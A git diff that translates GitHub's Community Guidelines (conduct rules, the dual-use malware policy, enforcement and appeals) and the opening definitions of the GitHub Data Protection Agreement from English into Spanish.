-We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. Such discussions, however, are unlikely to foster fruitful dialog when ideas are silenced because community members are being shouted down or are afraid to speak up. That means you should be respectful and civil at all times, and refrain from attacking others on the basis of who they are. We do not tolerate behavior that crosses the line into the following:
+Estamos comprometidos a mantener una comunidad donde los usuarios sean libres de expresarse y desafiar las ideas de los demás, tanto técnicas como de otro tipo. Sin embargo, es poco probable que dichos debates fomenten un diálogo fructífero cuando se silencian las ideas porque los miembros de la comunidad están siendo bloqueados o tienen miedo de hablar. Esto significa que deberías ser respetuoso y civil en todo momento y que deberías esforzarse por no atacar a los demás considerando quiénes son. No toleramos un comportamiento que cruce la línea de lo siguiente:
 
-- #### Threats of violence 
-   You may not threaten violence towards others or use the site to organize, promote, or incite acts of real-world violence or terrorism. Think carefully about the words you use, the images you post, and even the software you write, and how they may be interpreted by others. Even if you mean something as a joke, it might not be received that way. If you think that someone else *might* interpret the content you post as a threat, or as promoting violence or terrorism, stop. Don't post it on GitHub. In extraordinary cases, we may report threats of violence to law enforcement if we think there may be a genuine risk of physical harm or a threat to public safety.
+- #### Amenaza de violencia - No puedes amenazar con violencia a otros ni usar el sitio para organizar, promover o incitar a actos de violencia o terrorismo en el mundo real. Piensa detenidamente en las palabras que usas, las imágenes que publicas e incluso el software que escribas y cómo lo pueden interpretar otros. Incluso si dices algo como una broma, es posible que no se reciba de esa forma. Si crees que alguien más *podría* interpretar el contenido que publicas como una amenaza o como una promoción de la violencia o el terrorismo, detente. No lo publiques en GitHub. En casos extraordinarios podemos denunciar amenazas de violencia a la aplicación de la ley si creemos que puede haber un verdadero riesgo de daños físicos o una amenaza para la seguridad pública.
 
-- #### Hate speech and discrimination 
-   While it is not forbidden to broach topics such as age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation, we do not tolerate speech that attacks a person or group of people on the basis of who they are. Just realize that when approached in an aggressive or insulting manner, these (and other) sensitive topics can make others feel unwelcome, or perhaps even unsafe. While there's always the potential for misunderstandings, we expect our community members to remain respectful and civil when discussing sensitive topics.
+- #### Discurso de odio y discriminación - Aunque no está prohibido abordar temas como edad, complexión corporal, discapacidad, etnia, identidad de género y expresión, nivel de experiencia, nacionalidad, apariencia personal, raza, religión e identidad y orientación sexual, no toleramos el discurso que ataque a una persona o grupo de personas en función de quiénes son. Sólo date cuenta de que cuando se trata de una forma agresiva o insultante, estos (y otros) temas delicados pueden hacer que otros se sientan no deseados o incluso inseguros. Aunque siempre existe la posibilidad de malentendidos, esperamos que los miembros de nuestra comunidad continúen siendo respetuosos y corteses cuando discutan temas delicados.
 
-- #### Bullying and harassment 
-   We do not tolerate bullying or harassment. This means any habitual badgering or intimidation targeted at a specific person or group of people. In general, if your actions are unwanted and you continue to engage in them, there's a good chance you are headed into bullying or harassment territory.
+- #### Acosamiento y acoso No toleramos la intimidación o acoso. Esto significa cualquier acoso o intimidación habitual dirigida a una persona o grupo específico de personas. En general, si tus acciones son indeseables y continúas participando en ellas, hay una buena posibilidad de que te dirijas a territorio de intimidación o acoso.
 
-- #### Disrupting the experience of other users 
-   Being part of a community includes recognizing how your behavior affects others and engaging in meaningful and productive interactions with people and the platform they rely on. Behaviors such as repeatedly posting off-topic comments, opening empty or meaningless issues or pull requests, or using any other platform feature in a way that continually disrupts the experience of other users are not allowed. While we encourage maintainers to moderate their own projects on an individual basis, GitHub staff may take further restrictive action against accounts that are engaging in these types of behaviors.
+- #### Interrumpir la experiencia de otros usuarios Ser parte de una comunidad incluye reconocer cómo afecta tu comportamiento a los demás y tu participación en interacciones significativas y productivas con las personas y la plataforma en la que confían. No están permitidos los comportamientos tales como publicar repetidamente comentarios fuera del tema, abrir asuntos sin contenido o sin sentido o solicitudes de extracción o usar cualquier otra característica de la plataforma de una manera que interrumpa continuamente la experiencia de otros usuarios. Mientras animamos a los mantenedores a moderar sus propios proyectos de forma individual. El personal de GitHub puede tomar medidas más restrictivas contra las cuentas que están participando en este tipo de comportamientos.
 
-- #### Impersonation
-   You may not impersonate another person by copying their avatar, posting content under their email address, using a similar username or otherwise posing as someone else. Impersonation is a form of harassment.
+- #### Personificación No puedes personificar a alguien más copiando su avatar, publicando contenido bajo su dirección de correo electrónico, utilizando un nombre de usuario similar ni haciéndote pasar por alguien más de cualquier otra forma. La suplantación es una forma de acoso.
 
-- #### Doxxing and invasion of privacy 
-   Don't post other people's personal information, such as personal, private email addresses, phone numbers, physical addresses, credit card numbers, Social Security/National Identity numbers, or passwords. Depending on the context, such as in the case of intimidation or harassment, we may consider other information, such as photos or videos that were taken or distributed without the subject's consent, to be an invasion of privacy, especially when such material presents a safety risk to the subject.
+- #### Doxing e invasión de privacidad - No publiques información personal de otras personas, como números de teléfono, direcciones de correo electrónico privadas, direcciones físicas, números de tarjetas de crédito, números de seguridad social o de identificación nacional o contraseñas. Dependiendo del contexto, como en el caso de intimidación o acoso, podemos considerar otra información, tales como fotos o vídeos que fueron tomados o distribuidos sin el consentimiento de la persona, una invasión de la privacidad, especialmente cuando dicho material representa un riesgo para la seguridad del sujeto.
 
-- #### Sexually obscene content
-   Don’t post content that is pornographic. This does not mean that all nudity, or all code and content related to sexuality, is prohibited. We recognize that sexuality is a part of life and non-pornographic sexual content may be a part of your project, or may be presented for educational or artistic purposes. We do not allow obscene sexual content or content that may involve the exploitation or sexualization of minors.
+- #### Contenido sexualmente obsceno - No publiques contenido pornográfico. Esto no significa que toda la desnudez o todo el código y contenido relacionados con la sexualidad, esté prohibido. Reconocemos que la sexualidad es parte de la vida y que el contenido sexual no pornográfico puede ser parte de su proyecto o puede presentarse con fines educativos o artísticos. No permitimos contenidos sexuales obscenos que puedan implicar la explotación o la sexualización de menores.
 
-- #### Gratuitously violent content
-   Don’t post violent images, text, or other content without reasonable context or warnings. While it's often okay to include violent content in video games, news reports, and descriptions of historical events, we do not allow violent content that is posted indiscriminately, or that is posted in a way that makes it difficult for other users to avoid (such as a profile avatar or an issue comment). A clear warning or disclaimer in other contexts helps users make an educated decision as to whether or not they want to engage with such content.
+- #### Contenido violento injustificadamente - No publiques imágenes, texto u otro contenido sin un contexto o advertencias razonables. Aunque a menudo es correcto incluir contenido violento en videojuegos, reportes de noticias y descripciones de acontecimientos históricos, no permitimos contenido violento que se publique de forma indiscriminada o que se publique de una manera que dificulte a otros usuarios evitarlo (por ejemplo, un avatar de perfil o un comentario sobre una propuesta). Una clara advertencia o renuncia de responsabilidad en otros contextos ayuda a los usuarios a tomar una decisión educada sobre si quieren participar en dichos contenidos o no.
 
-- #### Misinformation and disinformation
-   You may not post content that presents a distorted view of reality, whether it is inaccurate or false (misinformation) or is intentionally deceptive (disinformation) where such content is likely to result in harm to the public or to interfere with fair and equal opportunities for all to participate in public life. For example, we do not allow content that may put the well-being of groups of people at risk or limit their ability to take part in a free and open society. We encourage active participation in the expression of ideas, perspectives, and experiences and may not be in a position to dispute personal accounts or observations. We generally allow parody and satire that is in line with our Acceptable Use Polices, and we consider context to be important in how information is received and understood; therefore, it may be appropriate to clarify your intentions via disclaimers or other means, as well as the source(s) of your information.
+- #### Información errónea y desinformación - No puedes publicar contenido que presente una visión distorsionada de la realidad, ya sea inexacta o falsa (información errónea) o que sea intencionalmente engañosa (desinformación) donde dicho contenido probablemente resulte en daño al público o que interfiera con oportunidades justas y equitativas para que todos participen en la vida pública. Por ejemplo, no permitimos contenido que pueda poner el bienestar de grupos de personas en riesgo o limitar su capacidad de participar en una sociedad libre y abierta. Fomentamos la participación activa en la expresión de ideas, perspectivas y experiencias y podríamos no estar en posición de disputar cuentas personales u observaciones. Por lo general, permitimos la parodia y la sátira que está en línea con nuestras políticas de uso aceptable y consideramos que el contexto es importante en la manera en que se recibe y se entiende la información; por lo tanto, puede ser adecuado aclarar tus intenciones mediante renuncias u otros medios, así como la fuente(s) de tu información.
 
-- #### Active malware or exploits
-  Being part of a community includes not taking advantage of other members of the community. We do not allow anyone to use our platform in direct support of unlawful attacks that cause technical harms, such as using GitHub as a means to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers. Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring.
+- #### Exploits de malware activos El ser parte de una comunidad incluye el no abusar del resto de sus miembros. No permitimos que nadie utilice nuestra plataforma para apoyar directamente los ataques ilícitos que causan daño técnico, tales como utilizar GitHub como medio para entregar ejecutables malintencionados o como infraestructura de ataque, por ejemplo, para organizar ataques de negación del servicio o administrar servidores de control y comando. Los daños técnicos significan el sobreconsumo de recursos, daño físico, tiempo de inactividad, negación del servicio o pérdidad de datos, sin propósito implícito o explícito para uso dual antes de que ocurra el abuso.
 
-  Note that GitHub allows dual-use content and supports the posting of content that is used for research into vulnerabilities, malware, or exploits, as the publication and distribution of such content has educational value and provides a net benefit to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem. 
+  Toma en cuenta que GitHub permite el contenido de uso dual y apoya la publicación de contenido que se utilice para la investigación de vulnerabilidades, malware o exploits, ya que el publicar o distribuir este tipo de contenido tiene un valor educativo y pñroporciona un beneficio real a la comunidad de seguridad. Asumimos un uso de estos proyectos e intención positivos para promover e impulsar mejoras a lo largo del ecosistema.
 
-  In rare cases of very widespread abuse of dual-use content, we may restrict access to that specific instance of the content to disrupt an ongoing unlawful attack or malware campaign that is leveraging the GitHub platform as an exploit or malware CDN. In most of these instances, restriction takes the form of putting the content behind authentication, but may, as an option of last resort, involve disabling access or full removal where this is not possible (e.g. when posted as a gist). We will also contact the project owners about restrictions put in place where possible. 
+  En casos extraordinarios de abuso amplio del contenido de uso dual, podríamos restringir el acceso a esta instancia específica de contenido para parar un ataque ilícito o campaña de malware en curso que esté tomando provecho de la plataforma de GitHub como un exploit o CDN de malware. En la mayoría de estos casos, la restricción toma la forma de poner el contenido bajo autenticación, pero podría, como último recurso, invlucrar la inhabilitación de accesos o la eliminación por completo en donde esto no fuese posible (por ejemplo, cuando se publica como un gist). También contactaremos a los propietarios del proyecto para conocer las restricciones que se pusieron en marcha, cuando sea posible.
 
-  Restrictions are temporary where feasible, and do not serve the purpose of purging or restricting any specific dual-use content, or copies of that content, from the platform in perpetuity. While we aim to make these rare cases of restriction a collaborative process with project owners, if you do feel your content was unduly restricted, we have an [appeals process](#appeal-and-reinstatement) in place.
+  Las restricciones son temporales cuando sea posible y no tienen el propósito de purgar o restringir ningun contenido de uso dual específico ni copias de dicho contenido desde la plataforma perpetuamente. Si bien nos enfocamos en que estos casos extraordinarios de restricción sean un proceso colaborativo con los propietarios de los proyectos, en caso de que sientas que tu contenido se restringió sin razón alguna, tenemos un [proceso de apelación](#appeal-and-reinstatement) instaurado.
 
-  To facilitate a path to abuse resolution with project maintainers themselves, prior to escalation to GitHub abuse reports, we recommend, but do not require, that repository owners take the following steps when posting potentially harmful security research content:
+  Para facilitar una ruta de resolución de abuso con los mismos mantenedores de proyecto, antes de escalar a un reporte de abuso de GitHub, te recomendamos, mas no requerimos, que los propietarios de los repositorios lleven a cabo los siguientes pasos al publicar contenido de investigación de seguridad potencialmente dañino:
 
-    * Clearly identify and describe any potentially harmful content in a disclaimer in the project’s README.md file or source code comments.
-    * Provide a preferred contact method for any 3rd party abuse inquiries through a SECURITY.md file in the repository (e.g. "Please create an issue on this repository for any questions or concerns"). Such a contact method allows 3rd parties to reach out to project maintainers directly and potentially resolve concerns without the need to file abuse reports.
+    * Identifica y describe claramente cualquier contenido dañino en un aviso legal en el archivo README.md del proyecto o en los comentarios del código fuente.
+    * Proporciona un método de contacto preferido para cualquier consultas de abuso de terceros a través de un archivo de SECURITY.md en el repositorio (por ejemplo, "Por favor, crea una propuesta en este repositorio para dirigir cualquier pregunta o preocupación"). Dicho método de contacto permite que los terceros contacten a los mantenedores de proyecto directamente y que así resuelvan las preocupaciones potencialmente sin necesidad de emitir reportes de abuso.
 
-  *GitHub considers the npm registry to be a platform used primarily for installation and run-time use of code, and not for research.*
+  *GitHub considera que el registro de npm es una plataforma que se utiliza principalmente para la instalación y uso de tiempo de ejecución del código y no para investigación.*
 
 
-## What happens if someone breaks the rules?
+## ¿Qué sucede si alguien no comple con las reglas?
 
-There are a variety of actions that we may take when a user reports inappropriate behavior or content. It usually depends on the exact circumstances of a particular case. We recognize that sometimes people may say or do inappropriate things for any number of reasons. Perhaps they did not realize how their words would be perceived. Or maybe they just let their emotions get the best of them. Of course, sometimes, there are folks who just want to spam or cause trouble.
+Hay una serie de acciones que podemos tomar cuando un usuario reporta un comportamiento o contenido inadecuado. Por lo general, depende de las circunstancias exactas de un caso en particular. Reconocemos que en ocasiones la gente puede decir o hacer cosas inadecuadas por diversas razones. Tal vez no se dieron cuenta de cómo se percibirían sus palabras. O tal vez sólo dejan que sus emociones saquen lo mejor de ellos. Por supuesto, en ocasiones, hay gente que sólo quiere hacer spam o causar problemas.
 
-Each case requires a different approach, and we try to tailor our response to meet the needs of the situation that has been reported. We'll review each abuse report on a case-by-case basis. In each case, we will have a diverse team investigate the content and surrounding facts and respond as appropriate, using these guidelines to guide our decision.
+Cada caso requiere un enfoque diferente e intentamos adaptar nuestra respuesta para satisfacer las necesidades de la situación que se ha informado. Revisaremos cada informe de abuso caso por caso. En cada caso, tendremos un equipo diverso que investigue el contenido y los hechos relacionados y responda según corresponda, utilizando estas directrices para guiar nuestra decisión.
 
-Actions we may take in response to an abuse report include but are not limited to:
+Las acciones que podemos emprender en respuesta a un informe de abuso incluyen, pero no se limitan a:
 
-* Content Removal
-* Content Blocking
-* Account Suspension
-* Account Termination
+* Eliminación de contenido
+* Bloqueo de contenido
+* Suspensión de la cuenta
+* Terminación de la cuenta
 
-## Appeal and Reinstatement
+## Apelación y reinstauración
 
-In some cases there may be a basis to reverse an action, for example, based on additional information a user provided, or where a user has addressed the violation and agreed to abide by our Acceptable Use Policies moving forward. If you wish to appeal an enforcement action, please contact [support](https://support.github.com/contact?tags=docs-policy).
+En algunos casos, podría haber una razón para revertir una acción, por ejempl, con base en la información adicional que proporcionó el usuario o cuando un usuario aborda la violación y acuerda regisrse por nuestras Políticas de Uso Aceptable en lo subsecuente. Si quieres apelar una acción de cumplimiento, por favor, contacta a [soporte](https://support.github.com/contact?tags=docs-policy).
 
-## Legal Notices
+## Avisos legales
 
-We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
+Dedicamos estas Pautas de la Comunidad al dominio público para que cualquiera pueda usar, reutilizar, adaptar o lo que sea, bajo los términos de [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
 
-These are only guidelines; they do not modify our [Terms of Service](/articles/github-terms-of-service/) and are not intended to be a complete list. GitHub retains full discretion under the [Terms of Service](/articles/github-terms-of-service/#c-acceptable-use) to remove any content or terminate any accounts for activity that violates our Terms on Acceptable Use. These guidelines describe when we will exercise that discretion.
+Estas son solo directrices; no modifican nuestros [Términos de Servicio](/articles/github-terms-of-service/) y no pretenden ser una lista completa. GitHub mantiene total discreción bajo los [Términos de Servicio](/articles/github-terms-of-service/#c-acceptable-use) para eliminar cualquier contenido o cancelar cualquier cuenta por actividad que infrinja nuestros Términos del Uso Aceptable. Estas directrices describen en qué situaciones ejerceremos dicha discreción.
diff --git a/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md b/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md
index b43c064b24..61b6834c96 100644
--- a/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md
+++ b/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Data Protection Agreement
+title: Acuerdo de Protección de Datos de GitHub
 redirect_from:
   - /github/site-policy/github-data-protection-addendum
   - /github/site-policy-deprecated/github-data-protection-addendum
@@ -8,999 +8,968 @@ versions:
   fpt: '*'
 ---
 
-## Introduction 
+## Introducción
 
-The parties agree that this GitHub Data Protection Agreement (“**DPA**”) sets forth their obligations with respect to the processing and security of Personal Data and, where explicitly stated in the DPA Terms, Customer Data in connection with the Online Services provided by GitHub, Inc. (“**GitHub**”). The DPA (including its Appendix and Attachments) is between GitHub and any customer receiving Online Services from GitHub based on the GitHub Customer Agreement (“**Customer**”), and is incorporated by reference into the GitHub Customer Agreement.
+Las partes concuerdan que este Acuerdo de Protección de Datos ("**DPA**, por sus siglas en inglés) de GitHub establece sus obligaciones con respecto al procesamiento y la seguridad de los Datos personales y, cuando se declare explícitamente en los Términos del DPA, con respecto a los Datos de Clientes en conexión con los Servicios en Línea que proporciona GitHub, Inc. ("**GitHub**"). El DPA (incluyendo su Apéndice y Adjuntos) se celebra entre GitHub y cualquier cliente que reciba Servicios en Línea de GitHub, con base en el Acuerdo de Cliente de GitHub ("**Cliente**") y se incorpora como referencia en el Acuerdo de Cliente de GitHub.
 
-In the event of any conflict or inconsistency between the DPA Terms and any other terms in the GitHub Customer Agreement, the DPA Terms will prevail. The provisions of the DPA Terms supersede any conflicting provisions of the GitHub Privacy Statement that otherwise may apply to processing of Personal Data. For clarity, the Standard Contractual Clauses prevail over any other term of the DPA Terms. 
+En caso de que se suscite cualquier conflicto o inconsistencia entre los Términos del DPA y cualquier término adicional en el Acuerdo de Cliente de GitHub, el DPA deberá prevalecer. Las disposiciones de los Términos del DPA sustituyen cualquier otra que entre en conflicto con la Declaración de Privacidad de GitHub que, de otra forma, pudiera aplicar al procesamiento de los Datos Personales. Para mayor claridad, las Cláusulas Contractuales Estándar prevalecen sobre cualquier otro término del DPA.
 
-### Applicable DPA Terms and Updates 
+### Términos y Actualizaciones aplicables al DPA
 
-#### Limits on Updates 
+#### Límites de las Actualizaciones
 
-When Customer renews or purchases a new subscription to an Online Service, the then-current DPA Terms will apply and will not change during the term of that new subscription for that Online Service. 
+Cuando un cliente renueva o compra una suscripción nueva a un Servicio en Línea, se aplicarán los Términos del DPA vigentes en el momento y no se cambiarán durante el periodo de dicha suscripción nueva para estos Servicios en Línea.
 
-#### New Features, Supplements, or Related Software 
+#### Características, Suplementos o Software Relacionado Nuevos
 
-Notwithstanding the foregoing limits on updates, when GitHub introduces features, supplements or related software that are new (i.e., that were not previously included with the subscription), GitHub may provide terms or make updates to the DPA that apply to Customer’s use of those new features, supplements or related software. If those terms include any material adverse changes to the DPA Terms, GitHub will provide Customer a choice to use the new features, supplements, or related software, without loss of existing functionality of a generally available Online Service. If Customer does not use the new features, supplements, or related software, the corresponding new terms will not apply. 
+No obstante a los límites anteriores de las actualizaciones, cuando GitHub introduzca características, suplementos o software relacionado que sean nuevos (por ejemplo, que no se incluyeran previamente en la suscripción), GitHub podría proporcionar términos o hacer actualizaciones al DPA que apliquen al uso del Cliente para dichas características, suplementos o software relacionado nuevos. Si estos términos incluyen cualquier cambio material adverso a los Términos del DPA, GitHub proporcionará una opción al cliente para utilizar las características, suplementos o software relacionado nuevos sin la pérdida de la funcionalidad existente de un Servicio en Línea generalmente disponible. En caso de que algún cliente no utilice las características, suplementos o software relacionado nuevos, no se aplicarán los términos nuevos correspondientes.
 
-#### Government Regulation and Requirements 
+#### Requisitos y Regulación Gubernamental
 
-Notwithstanding the foregoing limits on updates, GitHub may modify or terminate an Online Service in any country or jurisdiction where there is any current or future government requirement or obligation that (1) subjects GitHub to any regulation or requirement not generally applicable to businesses operating there, (2) presents a hardship for GitHub to continue operating the Online Service without modification, and/or (3) causes 
-GitHub to believe the DPA Terms or the Online Service may conflict with any such requirement or obligation. 
+No obstante a los límites anteriores de las actualizaciones, GitHub podrá modificar o terminar el Servicio en Línea en cualquier país o jurisdicción en donde exista un requisito u obligación gubernamental futura que (1) atenga a GitHub a cualquier regulación o requisito que no se aplique generalmente al negocio que allí opere, (2) presente una dificultad para que GitHub siga operando el Servicio en línea sin modificación y, (3) ocasione que GitHub crea que los Términos del DPA o el Servicio en Línea pudiera entrar en conflicto con cualquier requisito o obligación en cuestión.
 
-### Electronic Notices 
+### Avisos electrónicos
 
-GitHub may provide Customer with information and notices about Online Services electronically, including via email, or through a web site that GitHub identifies. Notice is given as of the date it is made available by GitHub. 
+GitHub podría proporcionar de forma electrónica al cliente información y avisos sobre los Servicios en Línea, incluyendo por correo electrónico, o mediante un sitio web que identifique GitHub. GitHub proporcionará un aviso de la fecha en la que lo haya hecho disponible.
 
-### Prior Versions 
+### Versiones Anteriores
 
-The DPA Terms provide terms for Online Services that are currently available. For earlier versions of the DPA Terms, Customer may contact its reseller or GitHub Account Manager. 
+Los Términos del DPA proporcionan aquellos de los Servicios en Línea que se encuentren vigentes actualmente. En el caso de las versiones anteriores de los Términos del DPA, el Cliente podrá contactar a su revendedor o Administrador de Cuenta de GitHub.
 
-## Definitions 
+## Definiciones
 
-Capitalized terms used but not defined in this DPA will have the meanings provided in the GitHub Customer Agreement. The following defined terms are used in this DPA: 
+Los términos capitalizados que se utilizan pero no se definen en este DPA tendrán los medios que se proporcionan en el Acuerdo de Cliente de GitHub. Los términos que se definen a continuación se utilizan en este DPA:
 
-“**CCPA**” means the California Consumer Privacy Act as set forth in Cal. Civ. Code §1798.100 et seq. and its implementing regulations. 
+“**CCPA**” se refiere a la Ley de Privacidad de Consumidores de California, de acuerdo con lo que se establece en el Código Civil §1798.100 et seq. y sus regulaciones de implementación.
 
-“**Customer Data**” means all data, including all text, sound, video, or image files, and software, that are provided to GitHub by, or on behalf of, Customer through use of the Online Service.
+“**Datos de Cliente**” significa todos los datos, incluyendo todos los archivos de texto, sonido, video o imágenes y software que se le proporcionen a GitHub o en nombre del cliente mediante el uso del Servicio en Línea.
 
-“**Data Protection Requirements**” means the GDPR, Local EU/EEA Data Protection Laws, CCPA, and any applicable laws, regulations, and other legal requirements relating to (a) privacy and data security; and (b) the use, collection, retention, storage, security, disclosure, transfer, disposal, and other processing of any Personal Data. 
+"**Requisitos para la Protección de Datos**" significa la GDPR, las Leyes de Protección de Datos locales de la EU/EEA y cualquier ley, regulación y requisito adicional aplicable que se relacione con (a) privacidad y seguridad de datos y; (b) el uso, recolección, retención, almacenamiento, seguridad, divulgación, transferencia, eliminación y cualquier otro tipo de procesamiento de los Datos Personales.
 
-“**Diagnostic Data**” means data collected or obtained by GitHub from software that is locally installed by Customer in connection with the Online Service. Diagnostic Data may also be referred to as telemetry. Diagnostic Data does not include Customer Data, Service Generated Data, or Professional Services Data. 
+“**Datos de Diagnóstico**” significa los datos que GitHub recolecta u obtiene del software que un Cliente instala localmente en conexión con el Servicio en Línea. También se les conoce a los Datos de Diagnóstico como telemetría. Los Datos de Diagnóstico no incluyen Datos de Cliente, Datos Generados por el Servicio ni Datos de Servicios Profesionales.
 
-“**DPA Terms**” means both the terms in this DPA and any Online Service-specific terms in the GitHub Customer Agreement that specifically supplement or modify the privacy and security terms in this DPA for a specific Online Service (or feature of an Online Service). In the event of any conflict or inconsistency between the DPA and such Online Service-specific terms, the Online Service-specific terms shall prevail as to the applicable Online Service (or feature of that Online Service). 
- 
-“**GDPR**” means Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation). In connection with the United Kingdom, “GDPR” means Regulation (EU) 2016/679 as transposed into national law of the United Kingdom by the UK European Union (Withdrawal) Act 2018 and amended by the UK Data Protection, Privacy and Electronic Communications (Amendments etc.) (EU Exit) Regulations 2019 (as may be amended from time to time). 
+“**Términos del DPA**” significa tanto los términos de este DPA y cualquier otro específico del Servicio en Línea en el Acuerdo de Cliente de GitHub que complementen o modifiquen específicamente los términos de privacidad y seguridad en el presente DPA para un Servicio en Línea específico (o para una característica de un Servicio en Línea). En caso de suscitarse cualquier conflicto o inconsistencia entre el DPA y dichos términos específicos del Servicio en Línea, estos últimos prevalecerán de acuerdo con el Servicio en Línea aplicable (o con la característica de este).
 
-“**Local EU/EEA Data Protection Laws**” means any subordinate legislation and regulation implementing the GDPR. 
+“**GDPR**” significa la Regulación (UE) 2016/679 del Parlamento Europeo y del Consejo del 27 de abril de 2016 sobre la protección de las personas naturales con respecto al procesamiento de los datos personales y sobre el movimiento de dichos datos y derogatoria de la Directiva 95/46EC (Reglamento General de Protección de Datos). En conexión con el Reino Unido, "GDPR" significa el Reglamento (UE) 2016/679 de acuerdo a como se transpuso en las leyes nacionales del Reino Unido mediante la Ley del Reino Unido y (su Salida) de la Unión Europea del 2018 y modificada por los Reglamentos de Protección de Datos, Privacidad y Comunicaciones Electrónicas del Reino Unido (Enmiendas, etc.) (Salida de la EU) del 2019 (conforme se modifiquen de vez en cuando).
 
-“**GDPR Related Terms**” means the terms in <a href="#attachment3">Attachment 3</a>, under which GitHub makes binding commitments regarding its processing of Personal Data as required by Article 28 of the GDPR. 
+“**Leyes de Protección de Datos Locales EU/EEA**” significa cualquier legislación y regulación subordinadas que implementen la GDPR.
 
-“**GitHub Affiliate**” means any entity that directly or indirectly controls, is controlled by or is under common control with GitHub. 
+“**Los Términos Relacionados de la GDPR**” significa aquellos en el <a href="#attachment3">Adjunto 3</a>, bajo los cuales, GitHub, contrae compromisos vinculantes con respecto a su procesamiento e Datos Personales de acuerdo con los requisitos del Artículo 28 de la GDPR.
 
-“**GitHub Customer Agreement**” means the service or other agreement(s) entered into by Customer with GitHub for Online Services. 
+“**Afiliado de GitHub**” significa cualquier entidad que controle directa o indirectamente, se le controle mediante, o esté bajo control común con GitHub.
 
-“**GitHub Privacy Statement**” means the GitHub privacy statement available at https://docs.github.com/en/github/site-policy/github-privacy-statement. 
+“**Acuerdo de Cliente de GitHub**” significa el servicio u otro(s) acuerdo(s) que ingrese el Cliente con Github para Obtener Servicios en Línea.
 
-“**Online Service**” means any service or software provided by GitHub to Customer under the GitHub Customer Agreement agreed upon with Customer, including Previews, updates, patches, bug fixes, and technical support. 
+“**Declaración de Privacidad de GitHub**” significa la declaración de privacidad de GitHub que se encuentra en https://docs.github.com/en/github/site-policy/github-privacy-statement.
 
-“**Personal Data**” means any information relating to an identified or identifiable natural person. An identifiable natural person is one who can be identified, directly or indirectly, in particular by reference to an identifier such as a name, an identification number, location data, an online identifier or to one or more factors specific to the physical, physiological, genetic, mental, economic, cultural or social identity of that natural person. 
+“**Servicio en Línea**” significa cualquier servicio o software que proporcione GitHub a un Cliente bajo el Acuerdo de Cliente de GitHub, al cual acuerde el Cliente, incluyendo las Vistas previas, actualizaciones, parches, correcciones de errores y soporte técnico.
 
-“**Preview**” means Online Services provided for preview, evaluation, demonstration or trial purposes, or pre-release versions of the Online Services. 
+“**Datos Personales**” significa cualquier información que se relacione con una persona natural identificable o identificada. Una persona natural identificable es aquella que puede identificarse directa o indirectamente en partícula mediante una referencia a un identificador tal como un nombre, número de identificación, datos de ubicación, un identificador en línea o a uno o más factores específicos para identidad física, fisiológica, genética, mental, económica, cultural o social de esta.
 
-“**Professional Services Data**” means all data, including all text, sound, video, image files or software, that are provided to GitHub, by or on behalf of a Customer (or that Customer authorizes GitHub to obtain from an Online Service) or otherwise obtained or processed by or on behalf of GitHub through an engagement with GitHub to obtain Professional Services. Professional Services Data includes Support Data. 
+“**Vista Previa**” significa los Servicios en Línea que se proporcionan para propósitos de vista previa, evaluación, demostración o pruebas o versiones de pre-lanzamiento de los Servicios en Línea.
 
-“**Service Generated Data**” means data generated or derived by GitHub through the operation of an Online Service. Service Generated Data does not include Customer Data, Diagnostic Data, or Professional Services Data. 
+“**Datos de Servicios Profesionales**” significa todo los datos, incluyendo archivos de texto, sonido, video, imagen o software que se proporcionen a GitHub mediante o en nombre de un Cliente (o que los Clientes autoricen a GitHub para obtener de un Servicio en Línea) o, de otro modo, que se obtengan o procesen mediante o en nombre de GitHub a través de un compromiso con GitHub para obtener Servicios Profesionales. Los Datos de Servicios Profesionales incluyen a los Datos de Soporte.
 
-“**Standard Contractual Clauses**” means either of the following sets of Standard Contractual Clauses, as applicable in the individual case to the transfer of personal data according to the section of this DPA entitled “Data Transfers and Location” below:
-- the Standard Contractual Clauses (MODULE TWO: Transfer controller to processor), dated 4 June 2021, for the transfer of personal data to third countries pursuant to Regulation (EU) 2016/679 of the European Parliament and of the Council, as described in Article 46 of the GDPR and approved by European Commission Implementing Decision (EU) 2021/91 (“Standard Contractual Clauses (EU/EEA)”). The Standard Contractual Clauses (EU/EEA) are set forth in <a href="#attachment1">Attachment 1</a>.
-- the Standard Contractual Clauses (Processors), dated 5 February 2010, for the transfer of personal data to processors established in third countries which do not ensure an adequate level of data protection, as described in Article 46 of the GDPR, approved by European Commission Decision 2010/87/EU and recognized by the regulatory or supervisory authorities of the United Kingdom for use in connection with data transfers from the United Kingdom (“Standard Contractual Clauses (UK)”). The Standard Contractual Clauses (UK) are set forth in <a href="#attachment2">Attachment 2</a>. 
+“**Datos Generados de los Servicios**” significa los datos que se generan o derivan de GitHub mediante la operación de un Servicio en Línea. Los Datos Generados de los Servicios no incluyen a los Datos de Cliente, de Diagnóstico o de Servicios Profesionales.
 
-“**Subprocessor**” means other processors used by GitHub to process Personal Data on behalf of Customer in connection with the Online Services, as described in Article 28 of the GDPR. 
+“**Cláusulas Contractuales Estándar**” significa cualquiera de los siguientes conjuntos de Cláusulas Contractuales Estándar, de acuerdo con lo aplicable en el caso individual de la transferencia de datos personales de acuerdo con la sección de este DPA llamada "Transferencias de Datos y Ubicación" a continuación:
